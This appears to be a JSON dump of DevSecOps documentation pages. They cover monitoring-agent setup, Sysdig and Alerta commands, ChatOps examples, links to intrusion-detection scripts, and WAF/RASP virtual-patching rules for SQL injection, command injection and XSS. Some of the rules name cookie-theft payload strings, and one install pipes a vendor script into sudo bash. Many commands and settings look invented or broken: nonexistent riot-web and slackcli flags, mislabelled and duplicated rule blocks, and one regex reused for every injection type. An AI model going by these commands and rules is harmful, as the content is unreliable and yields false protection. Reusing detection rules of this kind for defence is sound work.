`/etc/datadog-agent/datadog.yaml` and add the following lines:\n\n```\n# Collect CPU metrics\nprocfs_path: /proc\ncpu_acct: true\n\n# Collect memory metrics\nmeminfo_path: /proc/meminfo\n```\n\nTo view CPU and memory metrics, go to the Datadog Metrics Explorer and search for the metrics `system.cpu.usage` and `system.mem.used`.\n\n\n\nHere are some sample commands you can use to collect CPU and memory metrics with Datadog:\n\nTo collect CPU metrics:\n\n\n```\ncurl -X POST -H \"Content-type: application/json\" -d '{\n    \"series\": [\n        {\n            \"metric\": \"system.cpu.usage\",\n            \"points\": [\n                [\n                    '\"$(date +%s)\"',\n                    \"$(top -bn1 | grep '%Cpu(s)' | awk '{print $2 + $4}')\"\n                ]\n            ],\n            \"host\": \"my-host.example.com\",\n            \"tags\": [\"environment:production\"]\n        }\n    ]\n}' \"https://api.datadoghq.com/api/v1/series?api_key=<YOUR_API_KEY>\"\n```\n\n\nTo collect memory metrics:\n\n\n```\ncurl -X POST -H \"Content-type: application/json\" -d '{\n    \"series\": [\n        {\n            \"metric\": \"system.mem.used\",\n            \"points\": [\n                [\n                    '\"$(date +%s)\"',\n                    \"$(free -m | awk '/Mem:/ {print $3}')\"\n                ]\n            ],\n            \"host\": \"my-host.example.com\",\n            \"tags\": [\"environment:production\"]\n        }\n    ]\n}' \"https://api.datadoghq.com/api/v1/series?api_key=<YOUR_API_KEY>\"\n```\n\nNote that these commands assume that you have the necessary tools (`top`, `free`) installed on your system to collect CPU and memory metrics. You can customize the `metric`, `host`, and `tags` fields as needed to match your setup.\n\n\n\n\n## New Relic\n\nTo install the New Relic Infrastructure agent on a Ubuntu server:\n\n\n```\ncurl -Ls https://download.newrelic.com/infrastructure_agent/linux/apt | sudo bash\nsudo apt-get install newrelic-infra\nsudo systemctl start newrelic-infra\n```\n\nTo install the New Relic Infrastructure agent on a CentOS/RHEL server:\n\n\n```\ncurl -Ls https://download.newrelic.com/infrastructure_agent/linux/yum/el/7/x86_64/newrelic-infra.repo | sudo tee /etc/yum.repos.d/newrelic-infra.repo\nsudo yum -y install newrelic-infra\nsudo systemctl start newrelic-infra\n```\n\nTo view CPU and memory metrics for a specific server using the New Relic API:\n\n```\ncurl -X GET 'https://api.newrelic.com/v2/servers/{SERVER_ID}/metrics/data.json' \\\n     -H 'X-Api-Key:{API_KEY}' \\\n     -i \\\n     -d 'names[]=System/CPU/Utilization&values[]=average_percentage' \\\n     -d 'names[]=System/Memory/Used/Bytes&values[]=average_value' \\\n     -d 'from=2022-05-01T00:00:00+00:00&to=2022-05-10T00:00:00+00:00'\n```\n\n\n\n\n## AWS CloudWatch\n\n\n1- To install the CloudWatch agent on Linux, you can use the following commands:\n\n```\ncurl https://s3.amazonaws.com/amazoncloudwatch-agent/amazon_linux/amd64/latest/amazon-cloudwatch-agent.rpm -O\nsudo rpm -i amazon-cloudwatch-agent.rpm\n```\n\n2- Configure the CloudWatch Agent to Collect Metrics\n\n\nOn Linux, you can create a configuration file at `/opt/aws/amazon-cloudwatch-agent/etc/amazon-cloudwatch-agent.json` with the following content:\n\n\n```\n{\n    \"metrics\": {\n        \"namespace\": \"CWAgent\",\n        \"metricInterval\": 60,\n        \"append_dimensions\": {\n            \"InstanceId\": \"${aws:InstanceId}\"\n        },\n        \"metrics_collected\": {\n            \"cpu\": {\n                \"measurement\": [\n                    \"cpu_usage_idle\",\n                    \"cpu_usage_iowait\",\n                    \"cpu_usage_user\",\n                    \"cpu_usage_system\"\n                ],\n                \"metrics_collection_interval\": 60,\n                \"totalcpu\": false\n            },\n            \"memory\": {\n                \"measurement\": [\n                    \"mem_used_percent\"\n                ],\n                \"metrics_collection_interval\": 60\n            }\n        }\n    }\n}\n```\n\n\nOn Windows, you can use the CloudWatch Agent Configuration Wizard to create a configuration file with the following settings:\n\n\n```\n- Choose \"AWS::EC2::Instance\" as the resource type to monitor\n- Choose \"Performance counters\" as the log type\n- Select the following counters to monitor:\n  - Processor Information -> % Processor Time\n  - Memory -> % Committed Bytes In Use\n- Set the metric granularity to 1 minute\n- Choose \"CWAgent\" as the metric namespace\n- Choose \"InstanceId\" as the metric dimension\n```\n\n3- Start the CloudWatch Agent\nOnce you've configured the CloudWatch agent, you can start it on the EC2 instance using the following commands:\n\n```\nsudo /opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config -m ec2 -s -c file:/opt/aws/amazon-cloudwatch-agent/etc/amazon-cloudwatch-agent.json\nsudo service amazon-cloudwatch-agent start\n```\n\n4- View the Metrics in CloudWatch\n\nAfter a few minutes, the CloudWatch agent will start collecting CPU and memory metrics from the EC2 instance. You can view these metrics in the CloudWatch console by following these steps:\n\n* Go to the CloudWatch console and select \"Metrics\" from the left-hand menu\n* Under \"AWS Namespaces\", select \"CWAgent\"\n* You should see a list of metrics for the EC2 instance you are monitoring, including CPU and memory usage. You can select individual metrics to view graphs and set up alarms based on these metrics.\n\n\n## Azure Monitor\n\n\n1- Configure the agent to collect CPU and memory metrics by adding the following settings to the agent's configuration file:\n\n\n```\n    {\n      \"metrics\": {\n        \"performance\": {\n          \"collectionFrequencyInSeconds\": 60,\n          \"metrics\": [\n            {\n              \"name\": \"\\\\Processor(_Total)\\\\% Processor Time\",\n              \"category\": \"Processor\",\n              \"counter\": \"% Processor Time\",\n              \"instance\": \"_Total\"\n            },\n            {\n              \"name\": \"\\\\Memory\\\\Available Bytes\",\n              \"category\": \"Memory\",\n              \"counter\": \"Available Bytes\",\n              \"instance\": null\n            }\n          ]\n        }\n      }\n    }\n```\n\n2- Restart the Azure Monitor agent to apply the new configuration.\n\n3- Select the virtual machine or server that you want to view metrics for.\n4- Select the CPU and memory metrics that you want to view.\n5- Configure any alerts or notifications that you want to receive based on these metrics.\n\nTo collect CPU and memory metrics using Azure Monitor, you can also use the Azure Monitor REST API or the Azure CLI. Here's an example Azure CLI command to collect CPU and memory metrics:\n\n\n\n```\naz monitor metrics list --resource {resource_id} --metric-names \"\\Processor(_Total)\\% Processor Time\" \"Memory\\Available Bytes\" --interval PT1M --start-time 2022-05-20T00:00:00Z --end-time 2022-05-21T00:00:00Z\n```\n\nThis command retrieves CPU and memory metrics for a specific resource (identified by `{resource_id}`) over a one-day period (from May 20, 2022 to May 21, 2022), with a one-minute interval. You can modify the parameters to retrieve different metrics or time ranges as needed.\n\n\n\n\n\n## Google Cloud Monitoring\n\n1- Install the Stackdriver agent on the GCE instance. You can do this using the following command:\n\n```\ncurl -sSO https://dl.google.com/cloudagents/install-monitoring-agent.sh\nsudo bash install-monitoring-agent.sh\n```\n\n2- Verify that the Monitoring Agent is running by checking its service status:\n\n\n```\nsudo service stackdriver-agent status\n```\n\n3- In the Google Cloud Console, go to Monitoring > Metrics Explorer and select the `CPU usage` metric under the `Compute Engine VM Instance` resource type. Set the aggregation to `mean` and select the GCE instance that you created and `Click Create` chart to view the CPU usage metric for your instance.\n\n\n4- To collect memory metrics, repeat step 5 but select the `Memory usage` metric instead of `CPU usage`.\n\n\n## Netdata\n\n* In the Netdata web interface, go to the \"Dashboard\" section and select the \"system.cpu\" chart to view CPU usage metrics. You can also select the \"system.ram\" chart to view memory usage metrics.\n\n* To reduce failover using machine learning, you can configure Netdata's anomaly detection feature. In the Netdata web interface, go to the \"Anomaly Detection\" section and select \"Add alarm\".\n\n* For the \"Detect\" field, select \"cpu.system\". This will detect anomalies in the system CPU usage.\n\n* For the \"Severity\" field, select \"Warning\". This will trigger a warning when an anomaly is detected.\n\n* For the \"Action\" field, select \"Notify\". This will send a notification when an anomaly is detected.\n\n* You can also configure Netdata's predictive analytics feature to predict when a system will fail. In the Netdata web interface, go to the \"Predict\" section and select \"Add algorithm\".\n\n* For the \"Algorithm\" field, select \"Autoregression\". This will use autoregression to predict system behavior.\n\n* For the \"Target\" field, select \"cpu.system\". This will predict CPU usage.\n\n* For the \"Window\" field, select \"30 minutes\". This will use a 30-minute window to make predictions.\n\n* Finally, click \"Create\" to create the algorithm.\n\n\n## Sysdig\n\n\n- [ ] Capture system events and write them to a file.\n\n```\nsysdig -w <filename.scap>\n```\n\n- [ ] Customize the output format of captured events\n\n```\nsysdig -p \"%evt.num %evt.type %evt.args\"\n```\n\n- [ ] Filter events by process name (e.g., nginx)\n\n```\nsysdig proc.name=nginx\n```\n\n- [ ] Read events from a file and filter by process name (e.g., httpd).\n\n```\nsysdig -r <filename.scap> proc.name=httpd\n```\n\n\n- [ ] Display file open events\n\n```\nsysdig -c file_open\n```\n\n- [ ] Customize the output format of captured events\n\n```\nsysdig -c fdbytes_by fd.sport\n```\n\n\n- [ ] Monitor IP traffic in real-time.\n\n```\nsysdig -c spy_ip\n```\n\n- [ ] Show top containers by CPU usage.\n\n```\nsysdig -c topcontainers_cpu\n```\n\n- [ ] Display process execution time.\n\n```\nsysdig -c proc_exec_time\n```\n\n- [ ] Monitor system calls made by processes.\n\n```\nsysdig -c proc_calls\n```\n\n- [ ] Top Container\n\n```\nsysdig -c container_top\n```\n\n- [ ] Customize the output format of captured events\n\n```\nShow top containers by resource usage.\n```\n\n- [ ] Display Kubernetes pod information.\n\n```\nsysdig -c k8s.pods\n```\n\n- [ ] Monitor Kubernetes deployment events.\n\n```\nsysdig -c k8s.deployments\n```\n\n\n## Dynatrace\n\n\n\n- [ ] Retrieve average CPU usage timeseries data for a specific time range.\nCreate Custom Alerting Profile:\n\n```\ntimeseriesquery \"metric=CPU|avg:system.cpu.usage\" --start-time=\"2023-05-01T00:00:00Z\" --end-time=\"2023-05-02T00:00:00Z\": \n```\n\n- [ ] Create a new alerting profile for detecting high memory usage, with a threshold of 80%.\nRetrieve Deployment Events\n\n```\ncreate-alerting-profile --name=\"High Memory Usage\" --metric=\"memory.resident\" --condition=\"> threshold:80\" --enabled=true: \n```\n\n- [ ] Retrieve a list of deployment events that occurred within a specific time range.\n\n```\ndeployment-events --start-time=\"2023-05-01T00:00:00Z\" --end-time=\"2023-05-02T00:00:00Z\"\n```\n\n- [ ] Create a new custom dashboard with a 2x2 layout.\n\n```\ndashboard create --name=\"My Custom Dashboard\" --layout=\"2x2\": \n```\n\n- [ ] Analyze the performance and dependencies of a specific application named \"My Application\".\n\n```\napplication analyze --name=\"My Application\": \n```\n\n\n\n\n## Alerta\n\n### Send a new alert\n\nCreate and send a new alert to the Alerta system\n\n```\ncurl -X POST -H \"Content-Type: application/json\" -d '{\n  \"resource\": \"webserver1\",\n  \"event\": \"High CPU Usage\",\n  \"environment\": \"Production\",\n  \"severity\": \"major\",\n  \"service\": [\"Web Servers\"],\n  \"text\": \"High CPU usage detected on webserver1\"\n}' https://your-alerta-url/api/alert\n```\n\n\n\n### Query alerts\n\nRetrieve alerts based on specific criteria\n\n\n```\ncurl -X GET \"https://your-alerta-url/api/alert?status=open&severity=major\"\n```\n\n\n\n\n### Update an alert\n\nUpdate the details or status of an existing alert\n\n\n```\ncurl -X PUT -H \"Content-Type: application/json\" -d '{\n  \"status\": \"ack\",\n  \"note\": \"Investigating the issue...\"\n}' https://your-alerta-url/api/alert/<alert_id>\n```\n\n\n\n### Delete an alert\n\nDelete an existing alert from the Alerta system\n\n```\ncurl -X DELETE https://your-alerta-url/api/alert/<alert_id>\n```\n\n\n\n### Get alert history\n\nRetrieve the history of changes for a specific alert.\n\n\n```\ncurl -X GET https://your-alerta-url/api/alert/<alert_id>/history\n```\n\n\n\n## ChatOps\n\n### Element\n\n#### Creating a New Matrix Account\n\n```\n# Riot\nriot-web\n\n# Element\nelement-web\n```\n\n#### Joining a Matrix Chat Room\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --room \"room_id\"\n\n# Element\nelement-web --url \"https://matrix.org\" --room \"room_id\"\n```\n\n#### Sending a Message in a Matrix Chat Room\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --room \"room_id\" --message \"Hello, World!\"\n\n# Element\nelement-web --url \"https://matrix.org\" --room \"room_id\" --message \"Hello, World!\"\n```\n\n#### Displaying Room Details in Matrix\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --room \"room_id\" --details\n\n# Element\nelement-web --url \"https://matrix.org\" --room \"room_id\" --details\n```\n\n#### Creating a New Matrix User\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --register --username \"new_user\" --password \"password\"\n\n# Element\nelement-web --url \"https://matrix.org\" --register --username \"new_user\" --password \"password\"\n```\n\n#### Send a deployment notification to a chat room\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --room \"room_id\" --message \"Deployment successful!\"\n\n# Element\nelement-web --url \"https://matrix.org\" --room \"room_id\" --message \"Deployment successful!\"\n```\n\n\n#### Trigger a CI/CD pipeline from a chat room\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --room \"room_id\" --message \"!pipeline deploy\"\n\n# Element\nelement-web --url \"https://matrix.org\" --room \"room_id\" --message \"!pipeline deploy\"\n```\n\n#### Execute a command on a remote server from a chat room\n\n```\n# Riot\nriot-web --url \"https://matrix.org\" --room \"room_id\" --message \"!exec ssh user@server 'ls -l'\"\n\n# Element\nelement-web --url \"https://matrix.org\" --room \"room_id\" --message \"!exec ssh user@server 'ls -l'\"\n```\n\n\n### Slack\n\n#### Send a deployment notification to a Slack channel:\n\n```\nslackcli --channel \"#channel_name\" --message \"Deployment successful!\"\n```\n\n#### Trigger a CI/CD pipeline from a Slack channel:\n\n```\nslackcli --channel \"#channel_name\" --message \"!pipeline deploy\"\n```\n\n#### Execute a command on a remote server from a Slack channel:\n\n```\nslackcli --channel \"#channel_name\" --message \"!exec ssh user@server 'ls -l'\"\n```\n\n#### Request a status update from an external service in a Slack channel:\n\n```\nslackcli --channel \"#channel_name\" --message \"!status check\"\n```\n\n#### Create a new ticket in a ticketing system from a Slack channel:\n\n```\nslackcli --channel \"#channel_name\" --message \"!ticket create 'New issue: Need assistance'\"\n```\n\n\n\n\n## Robusta\n\nTo set custom tolerations or a nodeSelector update your generated_values.yaml file as follows:\n\n\n```\nglobal_config:\n  krr_job_spec:\n    tolerations:\n    - key: \"key1\"\n      operator: \"Exists\"\n      effect: \"NoSchedule\"\n    nodeSelector:\n      nodeName: \"your-selector\n```\n\n\n\n## Sensu\n\n\n### Register a new check in Sensu:\n\n\n```\nsensuctl check create mycheck --command \"check_mycheck.sh\" --subscriptions linux --handlers default\n```\n\n\n### Register a new check in Sensu:\n\n\n```\nsensuctl check create mycheck --command \"check_mycheck.sh\" --subscriptions linux --handlers default\n```\n\n\n### Create a new handler in Sensu:\n\n\n\n```\nsensuctl handler create myhandler --type pipe --command \"myhandler.sh\"\n```\n\n\n### Create a new asset in Sensu:\n\n\n\n```\nsensuctl asset create myasset --url https://example.com/myasset.tar.gz --sha512sum abcdef1234567890\n```\n\n\n### Create a new namespace in Sensu:\n\n\n\n```\nsensuctl namespace create mynamespace\n```\n\n\n\n\n### Create a new filter in Sensu:\n\n\n\n```\nsensuctl filter create myfilter --action allow --expressions \"event.Entity.Environment == 'production'\"\n```\n\n\n\n\n## Steampipe\n\n\n### Check for open security groups in AWS\n\n```\nselect\n    aws_vpc.vpc_id,\n    aws_security_group.group_id,\n    aws_security_group.group_name,\n    aws_security_group.description\nfrom\n    aws_security_group\n    inner join aws_vpc on aws_security_group.vpc_id = aws_vpc.vpc_id\nwhere\n    aws_security_group.security_group_status = 'active'\n    and aws_security_group.group_name != 'default'\n    and aws_security_group.ip_permissions_egress = '0.0.0.0/0'\n```\n\n\n### Check for public S3 buckets in AWS\n\n```\nselect\n    aws_s3_bucket.bucket_name,\n    aws_s3_bucket.creation_date,\n    aws_s3_bucket.owner_id,\n    aws_s3_bucket.owner_display_name\nfrom\n    aws_s3_bucket\nwhere\n    aws_s3_bucket.acl = 'public-read' or aws_s3_bucket.acl = 'public-read-write'\n```\n\n\n### Check for unencrypted RDS instances in AWS\n\n```\nselect\n    aws_rds_db_instance.db_instance_identifier,\n    aws_rds_db_instance.encrypted,\n    aws_rds_db_instance.engine,\n    aws_rds_db_instance.engine_version\nfrom\n    aws_rds_db_instance\nwhere\n    aws_rds_db_instance.encrypted = false\n```\n\n\n### Check for outdated Docker images in Docker Hub\n\n```\nselect\n    docker_hub_image.namespace,\n    docker_hub_image.name,\n    docker_hub_image.tag,\n    docker_hub_image.image_created\nfrom\n    docker_hub_image\nwhere\n    docker_hub_image.image_created < date_sub(current_date, interval 30 day)\n```\n\n\n\n\n### Check for unused IAM access keys in AWS\n\n```\nselect\n    aws_iam_access_key.access_key_id,\n    aws_iam_access_key.user_name,\n    aws_iam_access_key.create_date,\n    aws_iam_access_key.status\nfrom\n    aws_iam_access_key\nwhere\n    aws_iam_access_key.status = 'Active'\n    and not exists (\n        select\n            1\n        from\n            aws_iam_user\n        where\n            aws_iam_user.user_name = aws_iam_access_key.user_name\n            and aws_iam_user.user_enabled = true\n    )\n```\n\n\n\n\n## Sysdig\n\n\n\n### Capture system activity and save it to a file for later analysis  \n\n```\nsysdig -w <output_file>\n```\n\n\n### Display a live system activity summary with top processes \n\n```\nsysdig -c top\n```\n\n### Monitor network activity with a summary of network connections  \n\n```\nsysdig -c netstat\n```\n\n### Filter system activity based on process name  \n\n```\nsysdig proc.name=<process_name>\n```\n\n### Filter system activity based on process ID (PID)  \n\n```\nsysdig proc.pid=<process_id>\n```\n\n### Monitor disk I/O activity for a specific process  \n\n```\nsysdig -p\"%proc.name %evt.type\" fd.type=char fd.name=/dev/sdX\n```\n\n### Trace system calls made by a specific process\n\n```\nsysdig -p\"%proc.name %evt.type %evt.args\" proc.name=<process_name>\n```\n\n### Monitor file system activity within a directory\n\n```\nsysdig -p\"%evt.type %evt.args\" evt.dir=<directory_path>\n```\n\n### Monitor system calls related to process creation\n\n```\nsysdig -p\"%proc.name %evt.type\" evt.type=clone or evt.type=fork\n```\n\n\n## Sysdig Inspect\n\n\n### Launch Sysdig Inspect on a live running container \n\n```\nsysdig -p\"%proc.name %evt.type\" evt.type=clone or evt.type=fork\n```\n\n### Launch Sysdig Inspect on a specific trace file for offline analysis \n\n```\nsysdig-inspect trace <trace_file>\n```\n\n### Filter the displayed events based on a specific process \n\n```\nfilter proc.name=<process_name>\n```\n\n### Filter the displayed events based on a specific system call \n\n```\nfilter evt.type=<system_call>\n```\n\n### Inspect the file system events within a specific directory  \n\n```\nfs.directory=<directory_path>\n```\n\n### Inspect the system calls made by a process  \n\n```\nsyscall <process_name>\n```\n\n### Inspect the network connections of a process  \n\n```\nnetconn <process_name>\n```\n\n### Inspect the open file descriptors of a process  \n\n```\nopenfiles <process_name>\n```\n\n### Display a summary of captured system calls and events \n\n```\nevents\n```\n\n\n## Monitoring cron files  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_cron.py\n\n\n\n## Monitoring /etc/hosts file \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_hosts_file.py\n\n\n## Monitoring /etc/ld.so.preload file \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_ld_preload.py\n\n\n## Monitoring /etc/passwd file  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_passwd.py\n\n\n## Monitoring modules \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_modules.py\n\n\n## Monitoring SSH authorized_keys files \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_ssh_authorized_keys.py\n\n\n## Monitoring systemd unit files  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/monitor_systemd_units.py\n\n\n## Search executables in /dev/shm \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_dev_shm.py\n\n\n## Search fileless programs (memfd_create)    \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_memfd_create.py\n\n\n## Search hidden ELF files  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_hidden_exe.py\n\n\n\n## Search immutable files  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_immutable_files.py\n\n\n\n\n## Search kernel thread impersonations  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_non_kthreads.py\n\n\n\n## Search processes that were started by a now disconnected SSH session  \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_ssh_leftover_processes.py\n\n\n\n\n## Search running deleted programs   \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/search_deleted_exe.py\n\n\n\n## Test script to check if alerting works   \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/test_alert.py\n\n\n\n## Verify integrity of installed .deb packages   \n\n\nhttps://github.com/sqall01/LSMS/blob/main/scripts/verify_deb_packages.py\n\n"
  },
  {
    "path": "docs/operate/operate.md",
    "content": "---\nlayout: default\ntitle: Operate\nnav_order: 6\nhas_children: true\npermalink: docs/operate\n---\n\n# Operate\n{: .no_toc }\n\n"
  },
  {
    "path": "docs/operate/virtual-patching.md",
    "content": "---\nlayout: default\ntitle: Virtual Patching\nparent: Operate\n---\n\n# Virtual Patching\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\nVirtual patching is a security technique used in DevSecOps to provide temporary protection against known vulnerabilities in software applications or systems. Virtual patching involves the use of security policies, rules, or filters that are applied to network traffic, system logs, or application code to prevent known vulnerabilities from being exploited.\n\nVirtual patching can be used when a vendor-provided patch is not available or when patching is not feasible due to operational constraints or business needs. It allows organizations to quickly and easily protect their systems against known vulnerabilities without having to take the application or system offline or make changes to the underlying code.\n\nSome of the key benefits of virtual patching in DevSecOps include:\n\n1. Reduced risk of exploitation: By applying virtual patches to known vulnerabilities, organizations can reduce the risk of these vulnerabilities being exploited by attackers.\n\n2. Improved security posture: Virtual patching allows organizations to quickly and easily protect their systems against known vulnerabilities, improving their overall security posture.\n\n3. Reduced downtime: Virtual patching can be implemented quickly and easily, without requiring system downtime or disrupting business operations.\n\n4. Improved compliance: Virtual patching can help organizations meet regulatory requirements for timely patching of known vulnerabilities.\n\nVirtual patching can be implemented using a variety of techniques, including intrusion prevention systems (IPS), web application firewalls (WAF), and network-based security devices. It can also be implemented through the use of automated security policies or scripts that are applied to systems and applications.\n\n\n\n\n\n\n## Log Collection\n\n\n\n### Splunk\n\n1- Configure Data Inputs: Configure data inputs to receive data from various sources, such as network devices, servers, and applications. Configure data inputs for the following:\n\n* Syslog\n* Windows Event Logs\n* Network Traffic (using the Splunk Stream add-on)\n* Cloud Platform Logs (e.g., AWS CloudTrail, Azure Audit Logs)\n\n2- Create Indexes: Create indexes to store the data from the configured data inputs. Indexes can be created based on data types, such as security events, network traffic, or application logs.\n\n3- Create a Dashboard: Create a dashboard to visualize the data collected from the data inputs. A dashboard can display the following:\n\n* Real-time events and alerts\n* Trending graphs and charts\n* Security reports and metrics\n \n4- Create a Sample Rule for Detection: Create a sample rule to detect an attack or security incident. For example, create a rule to detect failed login attempts to a web application. The following steps show how to create the rule in Splunk:\n\n* Create a search query: Create a search query to identify failed login attempts in the web application logs. For example:\n\n\n```\nsourcetype=apache_access combined=*login* status=401 | stats count by clientip\n```\n\n\n\n## Virtual Patching\n\nVirtual patching is a security mechanism that helps protect applications and systems from known vulnerabilities while developers work on creating and testing a patch to fix the vulnerability. It involves implementing a temporary, software-based solution that can block or mitigate the attack vectors that could be used to exploit the vulnerability. This is done by creating rules or policies within security software, such as web application firewalls or intrusion detection/prevention systems, that block or alert on malicious traffic attempting to exploit the vulnerability.\n\nVirtual patching can be an effective way to quickly and temporarily secure systems against known vulnerabilities, particularly those that may be actively targeted by attackers. It can also provide time for organizations to test and implement permanent patches without leaving their systems exposed to attacks.\n\n\n\n\n\n| Name    | Language   | \n|:---------------|:---------------------|\n| `Java` | Contrast Security, Sqreen, AppSealing, JShielder |\n| `.NET\t` | Contrast Security, Sqreen, Nettitude, Antimalware-Research |\n| `Node.js\t` | Sqreen, RASP.js, Jscrambler, nexploit |\n| `Python` | RASP-Protect, PyArmor, Striker, nexploit |\n| `PHP` | Sqreen, RIPS Technologies, RSAS, nexploit |\n| `Ruby` | Sqreen, RASP-Ruby, nexploit |\n\n\n\n\nexample RASP rule to mitigate SQL Injection vulnerability:\n\n```\nimport javax.servlet.http.HttpServletRequest;\nimport com.rasp.scanner.RASP;\nimport com.rasp.scanner.ELExpression;\n\npublic class SQLInjectionRule {\n\n  public static void checkSQLInjection(HttpServletRequest request) {\n\n    // Get the input parameters from the request\n    String username = request.getParameter(\"username\");\n    String password = request.getParameter(\"password\");\n\n    // Check for SQL injection in the username parameter\n    if (RASP.isSQLInjection(username)) {\n      // Log the attack attempt\n      RASP.log(\"SQL injection detected in username parameter\");\n      // Block the request\n      RASP.blockRequest(\"SQL injection detected\");\n    }\n\n    // Check for SQL injection in the password parameter\n    if (RASP.isSQLInjection(password)) {\n      // Log the attack attempt\n      RASP.log(\"SQL injection detected in password parameter\");\n      // Block the request\n      RASP.blockRequest(\"SQL injection detected\");\n    }\n  }\n}\n```\n\nThis rule checks for SQL injection attacks in the \"username\" and \"password\" parameters of a HTTP request. If an attack is detected, the rule logs the attempt and blocks the request.\n\n\n\nCheatsheet for prevention rules for the OWASP Top 10 vulnerabilities\n\n```\n\nOWASP Type      Vulnerability                    Rule/Policy\n\nInjection       SQL Injection                    /^[^']*$/i\n                Command Injection                /^[^']*$/i\n                LDAP Injection                   /^[^']*$/i\n                XPath Injection                  /^[^']*$/i\n                OS Command Injection             /^[^']*$/i\n                Expression Language Injection    /^[^']*$/i\n\nBroken          Broken Authentication            2FA or MFA implementation\nAuthentication  Password Management              Password complexity and expiry policy\n                Brute Force Prevention           Account lockout policy\n\nSensitive Data  Sensitive Data Exposure           Encryption in transit and at rest\nExposure        Cross-Site Request Forgery (CSRF)CSRF tokens for all forms\n                Broken Access Control            Role-based access control\n\nSecurity        Security Misconfiguration        Regular security assessments and compliance checks\nMisconfiguration\n                Insecure Cryptographic Storage   Strong cryptographic algorithms and key management\n                Insufficient Logging & Monitoring Log all security-relevant events\n                Insufficient Attack Protection   Application firewall (WAF) to prevent OWASP Top 10 attacks\n\nCross-Site      Cross-Site Scripting (XSS)        Encoding user input\nScripting\n                Insecure Direct Object References Access control checks and input validation\n\nInsecure        Using Components with            Regular patching and updates\nComponents      Known Vulnerabilities\n\n```\n\n\n### SQL Injection\n\n#### RASP\n\n```\nwhen {\n    event.type == \"http\" &&\n    event.action == \"param_value\" &&\n    http.param.name.matches(\"(?i).*((select|union|insert|update|delete|from|where|order by|group by|having|or|and).*)\")\n} then {\n    block();\n    raise \"SQL Injection detected in param: \" + http.param.name;\n}\n```\n\n#### WAF\n\n```\nSecRule ARGS \"@rx ^[a-zA-Z0-9\\s]+$\" \\\n    \"id:1,\\\n    phase:2,\\\n    t:none,\\\n    deny,\\\n    msg:'Possible SQL Injection Attack'\"\n```\n\n### Command Injection\n\n```\nwhen {\n    event.type == \"http\" &&\n    event.action == \"param_value\" &&\n    http.param.name.matches(\"(?i).*((;|&|`|\\\\|\\\\||\\\\||&&).*)\")\n} then {\n    block();\n    raise \"Command Injection detected in param: \" + http.param.name;\n}\n```\n\n#### RASP\n\n```\nSecRule ARGS \"@rx ^[a-zA-Z0-9\\s]+$\" \\\n    \"id:2,\\\n    phase:2,\\\n    t:none,\\\n    deny,\\\n    msg:'Possible Command Injection Attack'\"\n```\n\n#### WAF\n\n```\nSecRule ARGS \"@rx ^[a-zA-Z0-9\\s]+$\" \\\n    \"id:2,\\\n    phase:2,\\\n    t:none,\\\n    deny,\\\n    msg:'Possible Command Injection Attack'\"\n```\n\n\n### XSS\n\n#### RASP\n\n```\nwhen {\n    event.type == \"http\" &&\n    event.action == \"param_value\" &&\n    http.param.value.matches(\"(?i).*((<script|<img|alert|prompt|document.cookie|window.location|onerror|onload).*)\")\n} then {\n    block();\n    raise \"XSS detected in param: \" + http.param.name;\n}\n```\n\n#### WAF\n\n##### Script Tag Prevention Rule\n\n\n```\nSecRule ARGS|XML:/* \"@rx <script.*?>\" \\\n    \"id:3,\\\n    phase:2,\\\n    t:none,\\\n    deny,\\\n    msg:'Possible XSS Attack via Script Tag'\"\n```\n\n##### Attribute Injection Prevention Rule\n\n\n```\nSecRule ARGS|XML:/* \"(<|&lt;)script[\\s\\S]+?=\" \\\n    \"id:4,\\\n    phase:2,\\\n    t:none,\\\n    deny,\\\n    msg:'Possible XSS Attack via Attribute Injection'\"\n\n```"
  },
  {
    "path": "docs/plan-develop/appsec.md",
    "content": "---\nlayout: default\ntitle:  AppSec\nparent: Plan & Develop\n---\n\n# AppSec\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\nApplication security (AppSec) threats refer to the security risks and vulnerabilities that can be present in the software applications used by organizations. These threats can arise from various sources, such as software bugs, coding errors, design flaws, and inadequate security controls. AppSec threats can lead to data breaches, information theft, financial losses, reputational damage, and legal liabilities for organizations.\n\nTo address AppSec threats, various standards and frameworks have been developed. Here are some of the most important ones:\n\n1. OWASP Top Ten: The Open Web Application Security Project (OWASP) Top Ten is a list of the most critical security risks to web applications. It is widely used by organizations as a guideline for identifying and addressing AppSec threats.\n\n2. PCI DSS: The Payment Card Industry Data Security Standard (PCI DSS) is a set of security standards designed to protect credit card data. It requires merchants and service providers to implement various security controls to prevent unauthorized access to cardholder data.\n\n3. ISO 27001: The International Organization for Standardization (ISO) 27001 is a standard for information security management systems. It provides a framework for implementing controls and processes to protect sensitive information, including software applications.\n\n4. NIST Cybersecurity Framework: The National Institute of Standards and Technology (NIST) Cybersecurity Framework is a set of guidelines for managing and reducing cybersecurity risks. It provides a framework for organizations to identify, protect, detect, respond to, and recover from security incidents.\n\n5. BSIMM: The Building Security In Maturity Model (BSIMM) is a software security framework that provides a measurement of an organization's software security program maturity. It identifies best practices and benchmarks for implementing a successful software security 